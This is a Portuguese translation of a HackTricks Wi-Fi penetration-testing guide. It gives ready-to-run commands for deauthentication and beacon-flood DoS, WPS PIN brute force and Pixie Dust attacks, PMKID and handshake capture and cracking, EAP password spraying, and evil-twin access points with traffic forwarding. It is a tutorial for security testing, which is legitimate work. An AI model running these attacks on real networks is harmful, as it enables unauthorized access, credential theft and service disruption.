.. | ||
evil-twin-eap-tls.md | ||
README.md |
Teste de Penetração Wifi
Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras maneiras de apoiar o HackTricks:
- Se você deseja ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF Verifique os PLANOS DE ASSINATURA!
- Adquira o swag oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe seus truques de hacking enviando PRs para os HackTricks e HackTricks Cloud repositórios do github.
Junte-se ao servidor HackenProof Discord para se comunicar com hackers experientes e caçadores de recompensas por bugs!
Percepções de Hacking
Envolver-se com conteúdo que mergulha na emoção e desafios do hacking
Notícias de Hacking em Tempo Real
Mantenha-se atualizado com o mundo acelerado do hacking através de notícias e insights em tempo real
Últimos Anúncios
Fique informado sobre os mais recentes programas de recompensas por bugs lançados e atualizações cruciais da plataforma
Junte-se a nós no Discord e comece a colaborar com os melhores hackers hoje!
Comandos básicos de Wifi
ip link show #List available interfaces
iwconfig #List available interfaces
airmon-ng check kill #Kill annoying processes
airmon-ng start wlan0 #Monitor mode
airmon-ng stop wlan0mon #Managed mode
airodump-ng wlan0mon #Scan (default 2.4Ghz)
airodump-ng wlan0mon --band a #Scan 5Ghz
airodump-ng wlan0mon --wps #Scan WPS
iwconfig wlan0 mode monitor #Put in mode monitor
iwconfig wlan0mon mode managed #Quit mode monitor - managed mode
iw dev wlan0 scan | grep "^BSS\|SSID\|WSP\|Authentication\|WPS\|WPA" #Scan available wifis
iwlist wlan0 scan #Scan available wifis
Ferramentas
EAPHammer
git clone https://github.com/s0lst1c3/eaphammer.git
./kali-setup
Airgeddon
Airgeddon é um conjunto de scripts bash projetado para ajudar na auditoria de redes sem fio. Ele inclui várias ferramentas para realizar ataques de força bruta, desautenticação, falsificação de AP, entre outros. É uma ferramenta popular entre os profissionais de segurança cibernética para testar a segurança de redes Wi-Fi.
mv `which dhcpd` `which dhcpd`.old
apt install isc-dhcp-server
apt-get install sslstrip asleap bettercap mdk4 hostapd beef-xss lighttpd dsniff hostapd-wpe
Executar o airgeddon com docker
docker run \
--rm \
-ti \
--name airgeddon \
--net=host \
--privileged \
-p 3000:3000 \
-v /tmp:/io \
-e DISPLAY=$(env | grep DISPLAY | awk -F "=" '{print $2}') \
v1s1t0r1sh3r3/airgeddon
De: https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Docker%20Linux
wifiphisher
Ele pode realizar ataques de Evil Twin, KARMA e Beacons Conhecidos e depois usar um modelo de phishing para conseguir obter a senha real da rede ou capturar credenciais de redes sociais.
git clone https://github.com/wifiphisher/wifiphisher.git # Download the latest revision
cd wifiphisher # Switch to tool's directory
sudo python setup.py install # Install any dependencies
Wifite2
Esta ferramenta automatiza ataques WPS/WEP/WPA-PSK. Ela irá automaticamente:
- Configurar a interface em modo monitor
- Escanear possíveis redes - E permitir que você selecione a(s) vítima(s)
- Se for WEP - Lançar ataques WEP
- Se for WPA-PSK
- Se for WPS: Ataque Pixie dust e ataque de força bruta (tenha cuidado, o ataque de força bruta pode levar muito tempo). Note que não tenta PIN nulo ou PINs gerados por banco de dados.
- Tentar capturar o PMKID do AP para quebrá-lo
- Tentar desautenticar clientes do AP para capturar um handshake
- Se PMKID ou Handshake, tentar força bruta usando as 5000 senhas principais.
Resumo dos Ataques
- DoS
- Pacotes de desautenticação/desassociação -- Desconectar todos (ou um ESSID/Cliente específico)
- APs falsos aleatórios -- Esconder redes, possíveis scanners de falha
- Sobrecarregar AP -- Tentar derrubar o AP (geralmente não muito útil)
- WIDS -- Brincar com o IDS
- TKIP, EAPOL -- Alguns ataques específicos para DoS em alguns APs
- Quebra
- Quebrar WEP (várias ferramentas e métodos)
- WPA-PSK
- PIN WPS "Força Bruta"
- WPA PMKID força bruta
- [DoS +] Captura de handshake WPA + Quebra
- WPA-MGT
- Captura de Nome de Usuário
- Força Bruta de Credenciais
- Gêmeo Malvado (com ou sem DoS)
- Gêmeo Malvado Aberto [+ DoS] -- Útil para capturar credenciais de portal cativo e/ou realizar ataques LAN
- Gêmeo Malvado WPA-PSK -- Útil para ataques de rede se você souber a senha
- WPA-MGT -- Útil para capturar credenciais da empresa
- KARMA, MANA, MANA Alto, Beacon Conhecido
- + Aberto -- Útil para capturar credenciais de portal cativo e/ou realizar ataques LAN
- + WPA -- Útil para capturar handshakes WPA
DOS
Pacotes de Desautenticação
Descrição de aqui:.
Ataques de desautenticação, um método prevalente em hacking Wi-Fi, envolvem forjar frames de "gerenciamento" para desconectar dispositivos de uma rede à força. Esses pacotes não criptografados enganam os clientes fazendo-os acreditar que são da rede legítima, permitindo que os atacantes coletem handshakes WPA para fins de quebra ou para interromper persistentemente conexões de rede. Esta tática, alarmante em sua simplicidade, é amplamente utilizada e tem implicações significativas para a segurança de rede.
Desautenticação usando Aireplay-ng
aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
- -0 significa desautenticação
- 1 é o número de desautenticações a enviar (pode enviar várias se desejar); 0 significa enviá-las continuamente
- -a 00:14:6C:7E:40:80 é o endereço MAC do ponto de acesso
- -c 00:0F:B5:34:30:30 é o endereço MAC do cliente a desautenticar; se isso for omitido, então é enviada uma desautenticação de transmissão (nem sempre funciona)
- ath0 é o nome da interface
Pacotes de Desassociação
Pacotes de desassociação, semelhantes aos pacotes de desautenticação, são um tipo de quadro de gestão usado em redes Wi-Fi. Esses pacotes servem para interromper a conexão entre um dispositivo (como um laptop ou smartphone) e um ponto de acesso (AP). A distinção principal entre desassociação e desautenticação reside nos cenários de uso. Enquanto um AP emite pacotes de desautenticação para remover explicitamente dispositivos não autorizados da rede, os pacotes de desassociação são tipicamente enviados quando o AP está passando por um desligamento, reinicialização ou realocação, exigindo assim a desconexão de todos os nós conectados.
Este ataque pode ser realizado pelo mdk4 (modo "d"):
# -c <channel>
# -b victim_client_mac.txt contains the MAC address of the device to eliminate
# -e WifiName is the name of the wifi
# -B BSSID is the BSSID of the AP
# Notice that these and other parameters aare optional, you could give onli the ESSID and md4k will automatically search for it, wait for finding clients and deauthenticate them
mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F
Mais ataques de DOS por mdk4
Acesse aqui.
MODO DE ATAQUE b: Inundação de Beacons
Envia quadros de beacons para mostrar APs falsos aos clientes. Isso às vezes pode travar scanners de rede e até drivers!
# -a Use also non-printable caracters in generated SSIDs and create SSIDs that break the 32-byte limit
# -w n (create Open) t (Create WPA/TKIP) a (Create WPA2/AES)
# -m use real BSSIDS
# All the parameters are optional and you could load ESSIDs from a file
mdk4 wlan0mon b -a -w nta -m
MODO DE ATAQUE a: Negação de Serviço de Autenticação
O envio de quadros de autenticação para todos os Pontos de Acesso (APs) acessíveis dentro do alcance pode sobrecarregar esses APs, especialmente quando vários clientes estão envolvidos. Esse tráfego intenso pode levar a instabilidade do sistema, fazendo com que alguns APs travem ou mesmo reiniciem.
# -a BSSID send random data from random clients to try the DoS
# -i BSSID capture and repeat pakets from authenticated clients
# -m use real MACs
# only -a or -i can be used
mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m
MODO DE ATAQUE p: Sondagem e Força Bruta de SSID
A sondagem de Pontos de Acesso (APs) verifica se um SSID é revelado corretamente e confirma o alcance do AP. Essa técnica, combinada com a força bruta de SSIDs ocultos com ou sem uma lista de palavras, ajuda a identificar e acessar redes escondidas.
MODO DE ATAQUE m: Exploração de Contramedidas de Michael
O envio de pacotes aleatórios ou duplicados para diferentes filas de QoS pode acionar as Contramedidas de Michael em APs TKIP, levando a um desligamento do AP por um minuto. Este método é uma tática eficiente de ataque de DoS (Negação de Serviço).
# -t <BSSID> of a TKIP AP
# -j use inteligent replay to create the DoS
mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j]
MODO DE ATAQUE e: Injeção de Pacotes EAPOL Start e Logoff
Inundar um AP com quadros EAPOL Start cria sessões falsas, sobrecarregando o AP e bloqueando clientes legítimos. Alternativamente, injetar mensagens falsas de EAPOL Logoff desconecta clientes à força, ambos os métodos interrompem efetivamente o serviço de rede.
# Use Logoff messages to kick clients
mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]
MODO DE ATAQUE s: Ataques para redes mesh IEEE 802.11s
Vários ataques à gestão de ligação e encaminhamento em redes mesh.
MODO DE ATAQUE w: Confusão WIDS
A interligação de clientes a vários nós WDS ou a falsos APs rogue pode manipular os Sistemas de Detecção e Prevenção de Intrusões, criando confusão e potencial abuso do sistema.
# -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts)
mkd4 -e <SSID> -c <channel> [-z]
MODO DE ATAQUE f: Packet Fuzzer
Um fuzzer de pacotes com diversas fontes de pacotes e um conjunto abrangente de modificadores para manipulação de pacotes.
Airggedon
Airgeddon oferece a maioria dos ataques propostos nos comentários anteriores:
WPS
O WPS (Wi-Fi Protected Setup) simplifica o processo de conexão de dispositivos a um roteador, aprimorando a velocidade e facilidade de configuração para redes criptografadas com WPA ou WPA2 Personal. É ineficaz para a segurança facilmente comprometida do WEP. O WPS emprega um PIN de 8 dígitos, validado em duas metades, tornando-o suscetível a ataques de força bruta devido ao seu número limitado de combinações (11.000 possibilidades).
Brute Force do WPS
Existem 2 ferramentas principais para realizar essa ação: Reaver e Bully.
- Reaver foi projetado para ser um ataque robusto e prático contra o WPS, e foi testado em uma ampla variedade de pontos de acesso e implementações do WPS.
- Bully é uma nova implementação do ataque de força bruta do WPS, escrita em C. Possui várias vantagens sobre o código original do reaver: menos dependências, melhor desempenho de memória e CPU, manipulação correta da endianness e um conjunto mais robusto de opções.
O ataque explora a vulnerabilidade do PIN do WPS, particularmente a exposição dos quatro primeiros dígitos e o papel do último dígito como um checksum, facilitando o ataque de força bruta. No entanto, defesas contra ataques de força bruta, como bloquear endereços MAC de atacantes agressivos, exigem rotação de endereços MAC para continuar o ataque.
Ao obter o PIN do WPS com ferramentas como Bully ou Reaver, o atacante pode deduzir o PSK WPA/WPA2, garantindo acesso persistente à rede.
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -b -f -N [-L -d 2] -vvroot
bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3
Força Bruta Inteligente
Esta abordagem refinada visa os PINs WPS usando vulnerabilidades conhecidas:
- PINs Pré-descobertos: Utilize um banco de dados de PINs conhecidos vinculados a fabricantes específicos conhecidos por usar PINs WPS uniformes. Este banco de dados correlaciona os três primeiros octetos dos endereços MAC com PINs prováveis para esses fabricantes.
- Algoritmos de Geração de PIN: Aproveite algoritmos como ComputePIN e EasyBox, que calculam PINs WPS com base no endereço MAC do AP. O algoritmo Arcadyan requer adicionalmente um ID de dispositivo, adicionando uma camada ao processo de geração de PIN.
Ataque WPS Pixie Dust
Dominique Bongard descobriu uma falha em alguns Pontos de Acesso (APs) relacionada à criação de códigos secretos, conhecidos como nonces (E-S1 e E-S2). Se esses nonces puderem ser descobertos, quebrar o PIN WPS do AP se torna fácil. O AP revela o PIN dentro de um código especial (hash) para provar que é legítimo e não um AP falso (rogue). Esses nonces são essencialmente as "chaves" para desbloquear o "cofre" que contém o PIN WPS. Mais informações sobre isso podem ser encontradas aqui.
Em termos simples, o problema é que alguns APs não usavam chaves aleatórias o suficiente para criptografar o PIN durante o processo de conexão. Isso torna o PIN vulnerável a ser adivinhado de fora da rede (ataque de força bruta offline).
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv
bully wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3
Se você não quer mudar o dispositivo para o modo de monitoramento, ou se reaver
e bully
apresentarem algum problema, você pode tentar o OneShot-C.
Esta ferramenta pode realizar o ataque Pixie Dust sem a necessidade de mudar para o modo de monitoramento.
./oneshot -i wlan0 -K -b 00:C0:CA:78:B1:37
Ataque de PIN Nulo
Alguns sistemas mal projetados até permitem que um PIN Nulo (um PIN vazio ou inexistente) conceda acesso, o que é bastante incomum. A ferramenta Reaver é capaz de testar essa vulnerabilidade, ao contrário do Bully.
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''
Airgeddon
Todos os ataques WPS propostos podem ser facilmente realizados usando o airgeddon.
- 5 e 6 permitem que você tente seu PIN personalizado (se você tiver algum)
- 7 e 8 realizam o ataque Pixie Dust
- 13 permite testar o PIN NULL
- 11 e 12 irão recolher os PINs relacionados ao AP selecionado a partir de bancos de dados disponíveis e gerar possíveis PINs usando: ComputePIN, EasyBox e opcionalmente Arcadyan (recomendado, por que não?)
- 9 e 10 testarão todos os PINs possíveis
WEP
Tão quebrado e não utilizado nos dias de hoje. Apenas saiba que o airgeddon tem uma opção WEP chamada "All-in-One" para atacar esse tipo de proteção. Mais ferramentas oferecem opções semelhantes.
Junte-se ao servidor HackenProof Discord para se comunicar com hackers experientes e caçadores de recompensas por bugs!
Percepções de Hacking
Engaje-se com conteúdo que mergulha na emoção e desafios do hacking
Notícias de Hacking em Tempo Real
Mantenha-se atualizado com o mundo acelerado do hacking através de notícias e percepções em tempo real
Últimos Anúncios
Fique informado sobre as mais novas recompensas por bugs lançadas e atualizações cruciais na plataforma
Junte-se a nós no Discord e comece a colaborar com os melhores hackers hoje!
WPA/WPA2 PSK
PMKID
Em 2018, o hashcat revelou um novo método de ataque, único porque só precisa de um único pacote e não requer que nenhum cliente esteja conectado ao AP de destino - apenas interação entre o atacante e o AP.
Muitos roteadores modernos adicionam um campo opcional ao primeiro quadro EAPOL durante a associação, conhecido como Rede de Segurança Robusta
. Isso inclui o PMKID
.
Como o post original explica, o PMKID é criado usando dados conhecidos:
PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)
Dado que o "Nome PMK" é constante, conhecemos o BSSID do AP e da estação, e o PMK
é idêntico ao de um aperto de mão completo de 4 vias, o hashcat pode usar essas informações para quebrar o PSK e recuperar a frase secreta!
Para coletar essas informações e fazer força bruta localmente na senha, você pode fazer:
airmon-ng check kill
airmon-ng start wlan0
git clone https://github.com/ZerBea/hcxdumptool.git; cd hcxdumptool; make; make install
hcxdumptool -o /tmp/attack.pcap -i wlan0mon --enable_status=1
#You can also obtains PMKIDs using eaphammer
./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1
Os PMKIDs capturados serão mostrados no console e também salvos dentro de _/tmp/attack.pcap_
Agora, converta a captura para o formato do hashcat/john e quebre-o:
hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng
hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
Por favor, note que o formato correto de um hash contém 4 partes, como: 4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7566f6461666f6e65436f6e6e6563743034383131343838
Se o seu contém apenas 3 partes, então, ele é inválido (a captura PMKID não foi válida).
Observe que o hcxdumptool
também captura handshakes (algo assim aparecerá: MP:M1M2 RC:63258 EAPOLTIME:17091
). Você pode transformar os handshakes para o formato hashcat/john usando cap2hccapx
tcpdump -r /tmp/attack.pcapng -w /tmp/att.pcap
cap2hccapx pmkid.pcapng pmkid.hccapx ["Filter_ESSID"]
hccap2john pmkid.hccapx > handshake.john
john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt
aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes
Notei que alguns handshakes capturados com esta ferramenta não puderam ser quebrados mesmo sabendo a senha correta. Recomendaria capturar handshakes também de forma tradicional, se possível, ou capturar vários deles usando esta ferramenta.
Captura de Handshake
Um ataque em redes WPA/WPA2 pode ser executado capturando um handshake e tentando quebrar a senha offline. Esse processo envolve monitorar a comunicação de uma rede específica e BSSID em um canal específico. Aqui está um guia simplificado:
- Identifique o BSSID, canal e um cliente conectado da rede alvo.
- Use
airodump-ng
para monitorar o tráfego de rede no canal e BSSID especificados, na esperança de capturar um handshake. O comando será semelhante a este:
airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap
- Para aumentar a chance de capturar um handshake, desconecte momentaneamente o cliente da rede para forçar uma nova autenticação. Isso pode ser feito usando o comando
aireplay-ng
, que envia pacotes de desautenticação para o cliente:
aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, may not work in all scenarios
Nota que, uma vez que o cliente foi desautenticado, ele pode tentar se conectar a um AP diferente ou, em outros casos, a uma rede diferente.
Assim que o airodump-ng
exibir algumas informações de handshake, isso significa que o handshake foi capturado e você pode parar de ouvir:
Uma vez que o handshake é capturado, você pode quebrá-lo com o aircrack-ng
:
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.cap
Verificar se o handshake está no arquivo
aircrack
aircrack-ng psk-01.cap #Search your bssid/essid and check if any handshake was capture
tshark
tshark -r psk-01.cap -n -Y eapol #Filter handshake messages #You should have the 4 messages.
cowpatty -r psk-01.cap -s "ESSID" -f -
Se esta ferramenta encontrar um handshake incompleto de um ESSID antes do completo, ela não detectará o válido.
pyrit
apt-get install pyrit #Not working for newer versions of kali
pyrit -r psk-01.cap analyze
WPA Enterprise (MGT)
Em configurações de WiFi empresarial, você encontrará vários métodos de autenticação, cada um fornecendo diferentes níveis de segurança e recursos de gerenciamento. Ao usar ferramentas como airodump-ng
para inspecionar o tráfego de rede, você pode notar identificadores para esses tipos de autenticação. Alguns métodos comuns incluem:
6A:FE:3B:73:18:FB -58 19 0 0 1 195 WPA2 CCMP MGT NameOfMyWifi
- EAP-GTC (Generic Token Card):
- Este método suporta tokens de hardware e senhas únicas dentro do EAP-PEAP. Ao contrário do MSCHAPv2, não utiliza um desafio de pares e envia senhas em texto simples para o ponto de acesso, representando um risco para ataques de degradação.
- EAP-MD5 (Message Digest 5):
- Envolve o envio do hash MD5 da senha do cliente. Não é recomendado devido à vulnerabilidade a ataques de dicionário, falta de autenticação do servidor e incapacidade de gerar chaves WEP específicas da sessão.
- EAP-TLS (Transport Layer Security):
- Utiliza certificados do lado do cliente e do lado do servidor para autenticação e pode gerar dinamicamente chaves WEP baseadas no usuário e na sessão para garantir a segurança das comunicações.
- EAP-TTLS (Tunneled Transport Layer Security):
- Fornece autenticação mútua por meio de um túnel criptografado, juntamente com um método para derivar chaves WEP dinâmicas, por usuário e por sessão. Requer apenas certificados do lado do servidor, com os clientes usando credenciais.
- PEAP (Protected Extensible Authentication Protocol):
- Funciona de forma semelhante ao EAP, criando um túnel TLS para comunicação protegida. Permite o uso de protocolos de autenticação mais fracos sobre o EAP devido à proteção oferecida pelo túnel.
- PEAP-MSCHAPv2: Frequentemente referido como PEAP, combina o mecanismo de desafio/resposta vulnerável MSCHAPv2 com um túnel TLS protetor.
- PEAP-EAP-TLS (ou PEAP-TLS): Semelhante ao EAP-TLS, mas inicia um túnel TLS antes da troca de certificados, oferecendo uma camada adicional de segurança.
Você pode encontrar mais informações sobre esses métodos de autenticação aquie aqui.
Captura de Nome de Usuário
Lendo https://tools.ietf.org/html/rfc3748#page-27 parece que se você estiver usando EAP, as mensagens "Identidade" devem ser suportadas, e o nome de usuário será enviado em texto claro nas mensagens "Resposta de Identidade".
Mesmo usando um dos métodos de autenticação mais seguros: PEAP-EAP-TLS, é possível capturar o nome de usuário enviado no protocolo EAP. Para fazer isso, capture uma comunicação de autenticação (inicie airodump-ng
em um canal e wireshark
na mesma interface) e filtre os pacotes por eapol
.
Dentro do pacote "Resposta, Identidade", o nome de usuário do cliente aparecerá.
Identidades Anônimas
Ocultar a identidade é suportado tanto pelo EAP-PEAP quanto pelo EAP-TTLS. No contexto de uma rede WiFi, uma solicitação de EAP-Identidade é tipicamente iniciada pelo ponto de acesso (AP) durante o processo de associação. Para garantir a proteção do anonimato do usuário, a resposta do cliente EAP no dispositivo do usuário contém apenas as informações essenciais necessárias para que o servidor RADIUS inicial processe a solicitação. Esse conceito é ilustrado pelos seguintes cenários:
- EAP-Identidade = anônimo
- Neste cenário, todos os usuários empregam o pseudônimo "anônimo" como identificador de usuário. O servidor RADIUS inicial funciona como um servidor EAP-PEAP ou EAP-TTLS, responsável por gerenciar o lado do servidor do protocolo PEAP ou TTLS. O método de autenticação interno (protegido) é então tratado localmente ou delegado a um servidor RADIUS remoto (doméstico).
- EAP-Identidade = anônimo@realm_x
-
Nesta situação, usuários de diferentes domínios ocultam suas identidades enquanto indicam seus respectivos domínios. Isso permite que o servidor RADIUS inicial encaminhe as solicitações EAP-PEAP ou EAP-TTLS para servidores RADIUS em seus domínios domésticos, que atuam como o servidor PEAP ou TTLS. O servidor RADIUS inicial opera exclusivamente como um nó de retransmissão RADIUS.
-
Alternativamente, o servidor RADIUS inicial pode funcionar como o servidor EAP-PEAP ou EAP-TTLS e lidar com o método de autenticação protegido ou encaminhá-lo para outro servidor. Essa opção facilita a configuração de políticas distintas para vários domínios.
No EAP-PEAP, uma vez que o túnel TLS é estabelecido entre o servidor PEAP e o cliente PEAP, o servidor PEAP inicia uma solicitação de EAP-Identidade e a transmite através do túnel TLS. O cliente responde a esta segunda solicitação de EAP-Identidade enviando uma resposta de EAP-Identidade contendo a verdadeira identidade do usuário através do túnel criptografado. Esta abordagem impede efetivamente a revelação da identidade real do usuário para qualquer pessoa que esteja interceptando o tráfego 802.11.
O EAP-TTLS segue um procedimento ligeiramente diferente. Com o EAP-TTLS, o cliente normalmente se autentica usando PAP ou CHAP, protegido pelo túnel TLS. Neste caso, o cliente inclui um atributo Nome de Usuário e um atributo Senha ou CHAP-Senha na mensagem TLS inicial enviada após o estabelecimento do túnel.
Independentemente do protocolo escolhido, o servidor PEAP/TTLS obtém conhecimento da verdadeira identidade do usuário após o estabelecimento do túnel TLS. A verdadeira identidade pode ser representada como usuário@domínio ou simplesmente usuário. Se o servidor PEAP/TTLS também for responsável por autenticar o usuário, ele agora possui a identidade do usuário e prossegue com o método de autenticação protegido pelo túnel TLS. Alternativamente, o servidor PEAP/TTLS pode encaminhar uma nova solicitação RADIUS para o servidor RADIUS doméstico do usuário. Esta nova solicitação RADIUS omite a camada de protocolo PEAP ou TTLS. Nos casos em que o método de autenticação protegido é EAP, as mensagens EAP internas são transmitidas para o servidor RADIUS doméstico sem o invólucro EAP-PEAP ou EAP-TTLS. O atributo Nome de Usuário da mensagem RADIUS de saída contém a verdadeira identidade do usuário, substituindo o Nome de Usuário anônimo da solicitação RADIUS de entrada. Quando o método de autenticação protegido é PAP ou CHAP (suportado apenas pelo TTLS), os atributos de autenticação Nome de Usuário e outros extraídos da carga útil TLS são substituídos na mensagem RADIUS de saída, deslocando o Nome de Usuário anônimo e os atributos de Mensagem EAP-TTLS encontrados na solicitação RADIUS de entrada.
Para mais informações, consulte https://www.interlinknetworks.com/app_notes/eap-peap.htm
EAP-Bruteforce (password spray)
Se o cliente deve usar um nome de usuário e senha (observe que o EAP-TLS não será válido neste caso), então você pode tentar obter uma lista de nomes de usuários (veja a próxima parte) e senhas e tentar forçar a entrada usando air-hammer.
./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt
Você também pode realizar esse ataque usando eaphammer
:
./eaphammer --eap-spray \
--interface-pool wlan0 wlan1 wlan2 wlan3 wlan4 \
--essid example-wifi \
--password bananas \
--user-list users.txt
Teoria dos ataques ao cliente
Seleção de rede e roaming
- O protocolo 802.11 define como uma estação se junta a um Conjunto de Serviço Estendido (ESS), mas não especifica os critérios para selecionar um ESS ou um ponto de acesso (AP) dentro dele.
- As estações podem se mover entre APs que compartilham o mesmo ESSID, mantendo a conectividade em um prédio ou área.
- O protocolo exige autenticação da estação ao ESS, mas não exige autenticação do AP à estação.
Listas de Rede Preferidas (PNLs)
- As estações armazenam o ESSID de cada rede sem fio à qual se conectam em sua Lista de Redes Preferidas (PNL), juntamente com detalhes de configuração específicos da rede.
- A PNL é usada para se conectar automaticamente a redes conhecidas, melhorando a experiência do usuário ao simplificar o processo de conexão.
Varredura passiva
- Os APs periodicamente transmitem quadros de beacon, anunciando sua presença e recursos, incluindo o ESSID do AP, a menos que a transmissão esteja desativada.
- Durante a varredura passiva, as estações escutam os quadros de beacon. Se o ESSID de um beacon corresponder a uma entrada na PNL da estação, a estação pode se conectar automaticamente a esse AP.
- O conhecimento da PNL de um dispositivo permite a exploração potencial ao imitar o ESSID de uma rede conhecida, enganando o dispositivo para se conectar a um AP falso.
Sondagem ativa
- A sondagem ativa envolve estações enviando solicitações de sondagem para descobrir APs próximos e suas características.
- As solicitações de sondagem direcionadas visam um ESSID específico, ajudando a detectar se uma rede em particular está ao alcance, mesmo que seja uma rede oculta.
- As solicitações de sondagem de transmissão têm um campo SSID nulo e são enviadas a todos os APs próximos, permitindo que a estação verifique qualquer rede preferida sem divulgar o conteúdo de sua PNL.
AP simples com redirecionamento para a Internet
Antes de explicar como realizar ataques mais complexos, será explicado como simplesmente criar um AP e redirecionar seu tráfego para uma interface conectada à Internet.
Usando ifconfig -a
, verifique se a interface wlan para criar o AP e a interface conectada à Internet estão presentes.
DHCP & DNS
apt-get install dnsmasq #Manages DHCP and DNS
Crie o arquivo de configuração /etc/dnsmasq.conf
:
interface=wlan0
dhcp-authoritative
dhcp-range=192.168.1.2,192.168.1.30,255.255.255.0,12h
dhcp-option=3,192.168.1.1
dhcp-option=6,192.168.1.1
server=8.8.8.8
log-queries
log-dhcp
listen-address=127.0.0.1
Em seguida, configure IPs e rotas:
ifconfig wlan0 up 192.168.1.1 netmask 255.255.255.0
route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1
E então inicie o dnsmasq:
dnsmasq -C dnsmasq.conf -d
hostapd
Hostapd é um daemon do host IEEE 802.11 AP e IEEE 802.1X/WPA/WPA2/EAP/RADIUS. Ele é usado para criar pontos de acesso Wi-Fi seguros em sistemas operacionais baseados em Linux.
apt-get install hostapd
Crie um arquivo de configuração hostapd.conf
:
interface=wlan0
driver=nl80211
ssid=MITIWIFI
hw_mode=g
channel=11
macaddr_acl=0
ignore_broadcast_ssid=0
auth_algs=1
wpa=2
wpa_passphrase=mitmwifi123
wpa_key_mgmt=WPA-PSK
wpa_pairwise=CCMP
wpa_group_rekey=86400
ieee80211n=1
wme_enabled=1
Parar processos irritantes, definir modo de monitoramento e iniciar o hostapd:
airmon-ng check kill
iwconfig wlan0 mode monitor
ifconfig wlan0 up
hostapd ./hostapd.conf
Encaminhamento e Redirecionamento
iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables --append FORWARD --in-interface wlan0 -j ACCEPT
echo 1 > /proc/sys/net/ipv4/ip_forward
Evil Twin
Um ataque de evil twin explora a forma como os clientes de WiFi reconhecem redes, dependendo principalmente do nome da rede (ESSID) sem exigir que a estação base (ponto de acesso) se autentique ao cliente. Pontos-chave incluem:
-
Dificuldade de Diferenciação: Dispositivos têm dificuldade em distinguir entre pontos de acesso legítimos e falsos quando compartilham o mesmo ESSID e tipo de criptografia. Redes do mundo real frequentemente usam vários pontos de acesso com o mesmo ESSID para estender a cobertura de forma transparente.
-
Roaming de Cliente e Manipulação de Conexão: O protocolo 802.11 permite que dispositivos façam roaming entre pontos de acesso dentro do mesmo ESS. Atacantes podem explorar isso atraindo um dispositivo para se desconectar de sua estação base atual e se conectar a um ponto de acesso falso. Isso pode ser alcançado oferecendo um sinal mais forte ou interrompendo a conexão com o ponto de acesso legítimo por meio de métodos como pacotes de desautenticação ou interferência.
-
Desafios na Execução: Executar com sucesso um ataque de evil twin em ambientes com vários pontos de acesso bem posicionados pode ser desafiador. Desautenticar um único ponto de acesso legítimo frequentemente resulta no dispositivo se conectando a outro ponto de acesso legítimo, a menos que o atacante consiga desautenticar todos os pontos de acesso próximos ou posicionar estrategicamente o ponto de acesso falso.
Você pode criar um Evil Twin Aberto muito básico (sem capacidade de rotear tráfego para a Internet) fazendo:
airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon
Você também pode criar um Evil Twin usando eaphammer (observe que para criar evil twins com eaphammer a interface NÃO deve estar no modo monitor):
./eaphammer -i wlan0 --essid exampleCorp --captive-portal
Ou usando o Airgeddon: Opções: 5,6,7,8,9 (dentro do menu de ataque Evil Twin).
Por favor, note que por padrão, se um ESSID na PNL for salvo como protegido por WPA, o dispositivo não se conectará automaticamente a um Evil Twin aberto. Você pode tentar fazer um DoS no AP real e esperar que o usuário se conecte manualmente ao seu Evil Twin aberto, ou poderia fazer um DoS no AP real e usar um WPA Evil Twin para capturar o handshake (usando este método você não poderá deixar a vítima se conectar a você, pois não conhece a PSK, mas pode capturar o handshake e tentar quebrá-lo).
Alguns sistemas operacionais e antivírus avisarão o usuário que se conectar a uma rede aberta é perigoso...
Evil Twin WPA/WPA2
Você pode criar um Evil Twin usando WPA/2 e se os dispositivos estiverem configurados para se conectar a esse SSID com WPA/2, eles tentarão se conectar. De qualquer forma, para completar o handshake de 4 vias, você também precisa saber a senha que o cliente vai usar. Se você não souber, a conexão não será concluída.
./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword"
Evil Twin Empresarial
Para entender esses ataques, recomendo ler antes a breve explicação sobre WPA Enterprise.
Usando hostapd-wpe
O hostapd-wpe
precisa de um arquivo de configuração para funcionar. Para automatizar a geração dessas configurações, você pode usar https://github.com/WJDigby/apd_launchpad (baixe o arquivo python dentro de /etc/hostapd-wpe/).
./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com
